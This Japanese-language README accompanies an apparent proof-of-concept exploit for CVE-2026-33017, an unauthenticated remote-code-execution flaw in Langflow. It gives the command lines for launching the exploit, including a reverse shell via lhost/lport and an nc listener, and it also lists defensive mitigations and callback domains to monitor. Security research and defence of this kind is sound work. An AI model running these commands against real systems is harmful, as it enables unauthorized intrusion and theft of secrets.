CVE-2026-33017 Langflow（"Langflop"）未認証 RCE PoC

Langflow の未認証 build_public_tmp コード実行脆弱性に対する PoC です。 悪意のあるコンポーネントを公開フローにアップロードし、ビルドをトリガーして、リバースシェルを取得します。

認可されたセキュリティテスト専用です。 自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。

要件

• Python 3
• requests（pip install requests）

使用方法

内蔵リスナーを起動して、エクスプロイトを一括実行します：

python3 poc.py \
  --url https://target:7860 \
  --flow-id <public-flow-uuid> \
  --lhost <your-ip> \
  --lport 4444 \
  --listen

シェルが接続すると、完全なインタラクティブシェルへのアップグレードが自動的に試行されます。

独自のリスナー（例：nc -lvnp 4444）を使用したい場合は、--listen を省略してください：

python3 poc.py --url https://target:7860 --flow-id <uuid> --lhost <your-ip> --lport 4444

オプション

情報

CVE-2026-33017 は、Langflow の POST /api/v1/build_public_tmp/{flow_id}/flow エンドポイントにおける未認証 RCE であり、サンドボックス化せずにフローノード定義から攻撃者が指定した Python を実行します。詳細については、以下のリソースを確認してください：

• Sysdig Threat Research のレポート：CVE-2026-33017：攻撃者が20時間で Langflow AI パイプラインを侵害した方法
• NVD： CVE-2026-33017

推奨事項（防御側）

Sysdig Threat Research のレポートからの軽減策：

• 更新：Langflow を直ちに更新してください。パッチ適用済みバージョンがまだ利用できない場合は、/api/v1/build_public_tmp エンドポイントへのネットワークアクセスを制限するか、公開フローのビルドを完全に無効化してください。
• 監査：公開されているすべての Langflow インスタンスの環境変数とシークレットを監査してください。予防措置として、API キー、データベースパスワード、クラウド認証情報をローテーションしてください。
• 監視：通常とは異なるポートや既知のコールバックサービス（oastify.com、interact.sh、dnslog.cn）への送信接続を監視してください。これらは、活発な悪用とデータ流出を示します。
• 制限：ファイアウォールルールまたは認証付きリバースプロキシを使用して、Langflow インスタンスへのネットワークアクセスを制限してください。!!Langflow を認証レイヤーなしでインターネットに直接公開してはいけません!!
• 棚卸し：環境内の AI/ML ツールを棚卸ししてください。Langflow、n8n、その他のワークフロー自動化ツールなどのプラットフォームは、多くの場合、広範な API アクセス権限で実行され、標準的なセキュリティレビュープロセスの外にデプロイされるため、標的にされることが増えています。

免責事項

このツールは、研究および認可されたペネトレーションテストのために提供されます。 作者は、誤用または損害について一切の責任を負いません。